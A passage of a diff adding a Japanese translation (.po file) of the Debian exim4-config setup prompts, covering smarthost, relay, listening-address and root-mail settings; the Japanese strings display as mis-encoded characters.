+msgstr "ローカルé…ä¿¡ã®ã¿; ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ãªã—"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "今ã¯è¨­å®šã—ãªã„"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "メール設定ã®ä¸€èˆ¬çš„ãªã‚¿ã‚¤ãƒ—:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "å¿…è¦ã¨ã™ã‚‹ã‚‚ã®ã«æœ€é©ã¨æ€ã‚れるメールサーãƒè¨­å®šå½¢å¼ã‚’é¸æŠžã—ã¦ãã ã•ã„。"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ダイヤルアップシステムãªã©ã®å‹•çš„ IP アドレスã®ã‚·ã‚¹ãƒ†ãƒ ã§ã¯ã€ä¸€èˆ¬ã«é€å‡ºã™ã‚‹"
+"メールをé…ä¿¡ã®ãŸã‚ã«åˆ¥ã®ãƒžã‚·ãƒ³ (「スマートホストã€ã¨å‘¼ã°ã‚Œã‚‹) ã«é€ã‚‹ã‚ˆã†è¨­å®š"
+"ã™ã¹ãã§ã—ょã†ã€‚インターãƒãƒƒãƒˆä¸Šã®å—信システムã®å¤šãã¯ã€è¿·æƒ‘メール対策ã¨ã—ã¦"
+"å‹•çš„ IP アドレスã‹ã‚‰ã‚„ã£ã¦ãるメールをブロックã—ã¦ã„ã‚‹ã‹ã‚‰ã§ã™ã€‚"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"å‹•çš„ IP アドレスã®ã‚·ã‚¹ãƒ†ãƒ ã¯ã€è‡ªèº«ã®ãƒ¡ãƒ¼ãƒ«ã‚’å—ã‘å–るよã†ã«ã™ã‚‹ã‹ã€ãƒ­ãƒ¼ã‚«ãƒ«é…"
+"é€ã‚’ (root 㨠postmaster ã¸ã®ãƒ¡ãƒ¼ãƒ«ã‚’除ã) ã™ã¹ã¦ç„¡åŠ¹ã«ã™ã‚‹ã‹ã§ãã¾ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "本当ã«ãƒ¡ãƒ¼ãƒ«ã‚·ã‚¹ãƒ†ãƒ ã‚’未設定ã®ã¾ã¾ã«ã—ã¾ã™ã‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"メールシステムãŒè¨­å®šã•ã‚Œã‚‹ã¾ã§ã€ãƒ¡ãƒ¼ãƒ«ã‚·ã‚¹ãƒ†ãƒ ã¯å£Šã‚ŒãŸçŠ¶æ…‹ã§åˆ©ç”¨ã§ããªã„ã‚‚ã®"
+"ã¨ãªã‚Šã¾ã™ã€‚ã‚ã¨ã§æ‰‹å‹•ã§ã€ã¾ãŸã¯ root ã¨ã—㦠'dpkg-reconfigure exim4-config' "
+"を実行ã™ã‚‹ã“ã¨ã§è¨­å®šã§ãã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "システムメールå:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"「メールåã€ã¯ã€ãƒ‰ãƒ¡ã‚¤ãƒ³åãŒãªã„ã¨ãã«ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’「修飾ã€ã™ã‚‹ãŸã‚ã«ä½¿ã‚"
+"れるドメインåã§ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"ã“ã®åå‰ã¯ã»ã‹ã®ãƒ—ログラムã«ã‚ˆã£ã¦ã‚‚使ã‚ã‚Œã¾ã™ã€‚ã“ã‚Œã¯ã€å˜ä¸€ã®å®Œå…¨ä¿®é£¾ãƒ‰ãƒ¡ã‚¤"
+"ンå (FQDN) ã«ã™ã¹ãã§ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"ãŸã¨ãˆã°ã€ãƒ­ãƒ¼ã‚«ãƒ«ãƒ›ã‚¹ãƒˆã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ãŒ foo@example.org ã®å ´åˆã€ã“ã“ã§å…¥åŠ›"
+"ã™ã‚‹æ­£ã—ã„値㯠example.org ã¨ãªã‚‹ã§ã—ょã†ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"書ãæ›ãˆã‚’有効ã«ã™ã‚‹ã¨ã€ã“ã®åå‰ã¯é€å‡ºã™ã‚‹ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã® From: è¡Œã«å‡ºç¾ã—ã¾ã›"
+"ん。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "メールをå—ã‘å–ã‚‹ãã®ä»–ã®å®›å…ˆ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"ã“ã®ãƒžã‚·ãƒ³è‡ªèº«ãŒæœ€çµ‚çš„ãªå®›å…ˆã¨è¦‹ãªã•ã‚Œã‚‹ã¹ãドメインã®ãƒªã‚¹ãƒˆã‚’セミコロンã§åŒº"
+"切ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。ã“れらã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã¯ä¸€èˆ¬ã«ã€Œãƒ­ãƒ¼ã‚«ãƒ«ãƒ‰ãƒ¡ã‚¤ãƒ³ã€ã¨å‘¼ã°ã‚Œ"
+"ã¾ã™ã€‚ローカルホストå (${fqdn}) ãŠã‚ˆã³ 'localhost' ã¯å¸¸ã«ã“ã®ãƒªã‚¹ãƒˆã«è¿½åŠ ã•"
+"ã‚Œã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"デフォルトã§ã¯ã€ã™ã¹ã¦ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã¯åŒä¸€ã®ã‚‚ã®ã¨ã—ã¦æ‰±ã‚ã‚Œã¾ã™ã€‚a.example 㨠b."
+"example ã®ä¸¡æ–¹ãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒ‰ãƒ¡ã‚¤ãƒ³ã§ã‚ã‚‹å ´åˆã€acc@a.example 㨠acc@b.example ã¯"
+"åŒã˜æœ€çµ‚宛先ã«é…é€ã•ã‚Œã¾ã™ã€‚ç•°ãªã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³åを別々ã®ã‚‚ã®ã¨ã—ã¦æ‰±ã„ãŸã„ã¨ãã«"
+"ã¯ã€è¨­å®šãƒ•ã‚¡ã‚¤ãƒ«ã‚’ã‚ã¨ã§ç·¨é›†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "メールをリレーã™ã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"ãŸã¨ãˆã°ãƒ•ã‚©ãƒ¼ãƒ«ãƒãƒƒã‚¯ MX ã¾ãŸã¯ãƒ¡ãƒ¼ãƒ«ã‚²ãƒ¼ãƒˆã‚¦ã‚§ã‚¤ã¨ã—ã¦ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒãƒ¡ãƒ¼ãƒ«"
+"をリレーã™ã‚‹ã€å—信ドメインã®ãƒªã‚¹ãƒˆã‚’セミコロンã§åŒºåˆ‡ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。ã¤"
+"ã¾ã‚Šã€ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒã“れらã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‹ã‚‰ã®ãƒ¡ãƒ¼ãƒ«ã‚’インターãƒãƒƒãƒˆä¸Šã®ã©ã“ã‹ã‚‰"
+"ã‚‚å—ã‘付ã‘ã€ãƒ­ãƒ¼ã‚«ãƒ«é…é€ãƒ«ãƒ¼ãƒ«ã«å¾“ã£ã¦é…é€ã™ã‚‹ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"ã“ã“ã§ã¯ãƒ­ãƒ¼ã‚«ãƒ«ãƒ‰ãƒ¡ã‚¤ãƒ³ã«ã¤ã„ã¦ã¯è¨˜è¿°ã—ãªã„ã§ãã ã•ã„。ワイルドカードも利用"
+"ã§ãã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "メールをリレーã™ã‚‹ãƒžã‚·ãƒ³:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã®å½¹å‰²ã¨ã—ã¦ãƒ¡ãƒ¼ãƒ«ã‚’ç„¡æ¡ä»¶ã«ãƒªãƒ¬ãƒ¼å¯èƒ½ãª IP アド"
+"レス範囲ã®ãƒªã‚¹ãƒˆã‚’ã€ã‚»ãƒŸã‚³ãƒ­ãƒ³ã§åŒºåˆ‡ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"標準的ãªã‚¢ãƒ‰ãƒ¬ã‚¹/é•·ã•ã®ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆã‚’利用ã™ã¹ãã§ã™ (ãŸã¨ãˆã° "
+"194.222.242.0/24 や 5f03:1200:836f::/48)。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ã‚’ã»ã‹ã®ãƒ›ã‚¹ãƒˆå‘ã‘ã®ã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã«ã—よã†ã¨ã™ã‚‹ã‚ã‘ã§ã¯ãªã„ãª"
+"らã€ã“ã®ãƒªã‚¹ãƒˆã‚’空ã®ã¾ã¾ã«ã—ã¦ãŠã„ã¦ãã ã•ã„。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "表示ã™ã‚‹ãƒ­ãƒ¼ã‚«ãƒ«ãƒ¦ãƒ¼ã‚¶ã®ãƒ‰ãƒ¡ã‚¤ãƒ³å:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"é€å‡ºãƒ¡ãƒ¼ãƒ«å†…ã®ãƒ­ãƒ¼ã‚«ãƒ«ãƒ¡ãƒ¼ãƒ«åã‚’éš ã™ã‚ªãƒ—ションãŒæœ‰åŠ¹ã§ã™ã€‚ãã®ãŸã‚ã€ã“ã®ã‚·ã‚¹"
+"テムãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒ¦ãƒ¼ã‚¶ã®é€ä¿¡è€…アドレスã®ãƒ‰ãƒ¡ã‚¤ãƒ³éƒ¨åˆ†ã«ä½¿ã†ã€ãƒ‰ãƒ¡ã‚¤ãƒ³åを指定ã™"
+"ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "é€å‡ºã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã® IP アドレスã¾ãŸã¯ãƒ›ã‚¹ãƒˆå:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒé€å‡ºã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã¨ã—ã¦ä½¿ã†ãƒ¡ãƒ¼ãƒ«ã‚µãƒ¼ãƒã® IP アドレスã¾ãŸã¯ãƒ›"
+"ストåを指定ã—ã¦ãã ã•ã„。スマートホスト㌠TCP/25 ã¨ã¯ç•°ãªã‚‹ãƒãƒ¼ãƒˆã‹ã‚‰ã®ã¿ã®"
+"メールをå—ã‘付ã‘ã‚‹ã®ã§ã‚ã‚Œã°ã€2 ã¤ã®ã‚³ãƒ­ãƒ³ã¨ãƒãƒ¼ãƒˆç•ªå·ã‚’追加ã—ã¦ãã ã•ã„ (ã‚"
+"ã¨ãˆã° smarthost.example::587 ã‚ã‚‹ã„㯠192.168.254.254::2525)。IPv6 アドレス"
+"ã§ã®ã‚³ãƒ­ãƒ³ã¯ã•ã‚‰ã«äºŒé‡ã«ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"スマートホストãŒèªè¨¼ã‚’å¿…è¦ã¨ã™ã‚‹å ´åˆã€SMTP èªè¨¼ã®ã‚»ãƒƒãƒˆã‚¢ãƒƒãƒ—ã«ã¤ã„ã¦æ›¸ã‹ã‚Œ"
+"㟠Debian 固有㮠README ファイルをå‚ç…§ã—ã¦ãã ã•ã„。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "root 㨠postmaster ã®ãƒ¡ãƒ¼ãƒ«å—信者:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"「postmasterã€ã€Œrootã€ãŠã‚ˆã³ãã®ä»–ã®ã‚·ã‚¹ãƒ†ãƒ ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸ã®ã¸ã®ãƒ¡ãƒ¼ãƒ«ã¯ã€å®Ÿéš›"
+"ã®ã‚·ã‚¹ãƒ†ãƒ ç®¡ç†è€…ã®ãƒ¦ãƒ¼ã‚¶ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«è»¢é€ã•ã‚Œã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"ã“ã®å€¤ã‚’空ã®ã¾ã¾ã«ã™ã‚‹ã¨ã€ãã®ã‚ˆã†ãªãƒ¡ãƒ¼ãƒ«ã¯ /var/mail/mail ã«ä¿å­˜ã•ã‚Œã¾ã™"
+"ãŒã€ã“ã‚Œã¯ãŠå‹§ã‚ã§ãã¾ã›ã‚“。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"postmaster ã®ãƒ¡ãƒ¼ãƒ«ã¯åˆ¥ã®ã¨ã“ã‚ã«è»¢é€ã™ã‚‹ã‚ˆã‚Šã‚‚直接ãã®ã‚·ã‚¹ãƒ†ãƒ ã§èª­ã¾ã‚Œã‚‹ã¹ã"
+"ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。ã“ã®ãŸã‚ã€ã“ã“ã§æŒ‡å®šã™ã‚‹ãƒ¦ãƒ¼ã‚¶ (ã®å°‘ãªãã¨"
+"ã‚‚ãã®ã†ã¡ 1 人) ã¯ã€ã“ã®ãƒžã‚·ãƒ³ã®å¤–ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã™ã‚‹ã‚ˆã†ãªã‚‚ã®ã§ã¯ãªã„よã†ã«"
+"ã™ã¹ãã§ã™ã€‚強制的ã«ãƒ­ãƒ¼ã‚«ãƒ«ã«é…é€ã™ã‚‹ã«ã¯ã€'real-' プレフィクスを使ã„ã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "複数ã®ãƒ¦ãƒ¼ã‚¶åã¯ã‚¹ãƒšãƒ¼ã‚¹ã§åŒºåˆ‡ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "å…¥åŠ›å´ SMTP 接続をリスンã™ã‚‹ IP アドレス:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"IP アドレスã®ãƒªã‚¹ãƒˆã‚’セミコロンã§åŒºåˆ‡ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。Exim SMTP リスナ"
+"デーモンã¯ã€ã“ã“ã§æŒ™ã’られãŸã™ã¹ã¦ã® IP アドレスをリスンã—ã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"ã“ã®å€¤ã‚’空ã«ã™ã‚‹ã¨ã€Exim ã¯ã™ã¹ã¦ã®åˆ©ç”¨å¯èƒ½ãªãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚¤ãƒ³ã‚¿ãƒ¼ãƒ•ã‚§ã‚¤ã‚¹ã®æŽ¥"
+"続をリスンã™ã‚‹ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒ (ã»ã‹ã®ãƒ›ã‚¹ãƒˆã‹ã‚‰ã§ã¯ãªã) ローカルサービスã‹ã‚‰ç›´æŽ¥ãƒ¡ãƒ¼ãƒ«ã‚’å—"
+"ã‘å–ã‚‹ã®ã§ã‚ã‚Œã°ã€ãƒ­ãƒ¼ã‚«ãƒ«ã® Exim デーモンã¸ã®å¤–部ã‹ã‚‰ã®æŽ¥ç¶šã‚’ç¦æ­¢ã™ã‚‹ã®ã‚‚よ"
+"ã„ã§ã—ょã†ã€‚ã“ã®ã‚ˆã†ãªã‚µãƒ¼ãƒ“スã«ã¯ã€fetchmail åŒæ§˜ã«ãƒ­ãƒ¼ã‚«ãƒ«ãƒ›ã‚¹ãƒˆã¨ã‚„ã‚Šå–ã‚Š"
+"ã™ã‚‹é›»å­ãƒ¡ãƒ¼ãƒ«ãƒ—ログラム (MUA) ã‚‚å«ã¾ã‚Œã¾ã™ã€‚ã“ã“㧠127.0.0.1 ã¨å…¥åŠ›ã™ã‚‹ã¨ã€"
+"パブリックãªãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚¤ãƒ³ã‚¿ãƒ¼ãƒ•ã‚§ã‚¤ã‚¹ã®ãƒªã‚¹ãƒ‹ãƒ³ã‚°ã‚’無効ã«ã™ã‚‹ã®ã§ã€å¤–部ã‹"
+"ら接続ã§ããªããªã‚Šã¾ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "DNS クエリã®æ•°ã‚’最å°é™ã«ç•™ã‚ã¾ã™ã‹ (ダイヤルオンデマンド)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"通常ã®å‹•ä½œãƒ¢ãƒ¼ãƒ‰ã§ã¯ã€Exim ã¯èµ·å‹•æ™‚ã€ãŠã‚ˆã³ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã®å—信時ã¨é…é€æ™‚ã« DNS "
+"ルックアップを行ã„ã¾ã™ã€‚ã“ã‚Œã¯ã€è¨˜éŒ²ç”¨ã§ã‚ã‚Šã€è¨­å®šãƒ•ã‚¡ã‚¤ãƒ«ã«ãƒãƒ¼ãƒ‰ã‚³ãƒ¼ãƒ‰ã•ã‚Œ"
+"ãŸå€¤ã®æ•°ã«æŠ‘ãˆã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒå®Œå…¨ãª DNS サービスリゾルãƒã‚’常時利用ã§ããªã„å ´åˆ (ãŸã¨ãˆã°ã‚¤ãƒ³"
+"ターãƒãƒƒãƒˆã‚¢ã‚¯ã‚»ã‚¹ãŒãƒ€ã‚¤ãƒ¤ãƒ«ã‚¢ãƒƒãƒ—オンデマンドを使ã£ãŸãƒ€ã‚¤ãƒ¤ãƒ«ã‚¢ãƒƒãƒ—回線ã®å ´"
+"åˆ)ã€ã“ã‚Œã¯æœ›ã¾ã—ããªã„çµæžœã¨ãªã‚Šå¾—ã¾ã™ã€‚ãŸã¨ãˆã°Exim ã®èµ·å‹•æ™‚やキューã®å®Ÿè¡Œ"
+"時 (待機中ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ãŒãªã„ã¨ãã§ã‚‚) ã«ã€ã‚³ã‚¹ãƒˆã®é«˜ã„ダイヤルアップイベント"
+"を引ãèµ·ã“ã™æã‚ŒãŒã‚ã‚Šã¾ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒãƒ€ã‚¤ãƒ¤ãƒ«ã‚ªãƒ³ãƒ‡ãƒžãƒ³ãƒ‰ã‚’使ã£ã¦ã„ã‚‹å ´åˆã«ã¯ã€ã€Œã¯ã„ã€ã¨ç­”ãˆã‚‹ã¹ã"
+"ã§ã™ã€‚インターãƒãƒƒãƒˆã‚¢ã‚¯ã‚»ã‚¹ã«å¸¸æ™‚接続ã—ã¦ã„ã‚‹ã®ã§ã‚ã‚Œã°ã€ã€Œã„ã„ãˆã€ã¨ã™ã¹ã"
+"ã§ã™ã€‚"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "メールサーãƒã®è¨­å®š:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "設定をå°ã•ãªãƒ•ã‚¡ã‚¤ãƒ«ã«åˆ†å‰²ã—ã¾ã™ã‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian ã® exim4 パッケージã¯ã€1 ã¤ã®ãƒ¢ãƒŽãƒªã‚·ãƒƒã‚¯ãªãƒ•ã‚¡ã‚¤ãƒ«ã§ã‚る「å˜ä¸€è¨­å®šã€"
+"(/etc/exim4/exim4.conf.template) ã‹ /etc/exim4/conf.d/ ã«ç½®ã‹ã‚Œã‚‹ç´„ 50 ã®å°ã•"
+"ãªãƒ•ã‚¡ã‚¤ãƒ«ã‹ã‚‰å®Ÿéš›ã®ãƒ•ã‚¡ã‚¤ãƒ«ãŒæ§‹æˆã•ã‚Œã‚‹ã€Œåˆ†å‰²è¨­å®šã€ã®ã©ã¡ã‚‰ã§ã‚‚利用ã§ãã¾"
+"ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"å˜ä¸€è¨­å®šã¯å¤§ããªå¤‰æ›´ã‚’ã™ã‚‹ã®ã«å‘ã„ã¦ãŠã‚Šã€ä¸€èˆ¬çš„ã«ã‚ˆã‚Šå®‰å®šã—ã¦ã„ã‚‹ã®ã«å¯¾ã—ã€"
+"分割設定ã¯å°ã•ãªå¤‰æ›´ã‚’è¡Œã†ã®ã«æ¥½ãªæ–¹æ³•ã‚’æä¾›ã—ã¾ã™ (ãŸã ã—脆ãã€é…æ…®ã›ãšã«å¤‰"
+"æ›´ã™ã‚‹ã¨å£Šã‚Œã‚‹ã‹ã‚‚ã—ã‚Œã¾ã›ã‚“)。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"分割設定ã¨å˜ä¸€è¨­å®šã®è©³ç´°ãªè­°è«–ã«ã¤ã„ã¦ã¯ã€/usr/share/doc/exim4-base ã«ã‚ã‚‹ "
+"Debian 固有㮠README ファイルã§å‚ç…§ã§ãã¾ã™ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "é€å‡ºã™ã‚‹ãƒ¡ãƒ¼ãƒ«ã§ãƒ­ãƒ¼ã‚«ãƒ«ãƒ¡ãƒ¼ãƒ«åã‚’éš ã—ã¾ã™ã‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"ç•°ãªã‚‹ã‚·ã‚¹ãƒ†ãƒ ã§ç”Ÿæˆã•ã‚ŒãŸã‹ã®ã‚ˆã†ã«è¦‹ãˆã‚‹ã‚ˆã†ã€é€å‡ºã™ã‚‹ãƒ¡ãƒ¼ãƒ«ã®ãƒ˜ãƒƒãƒ€ã¯æ›¸ã"
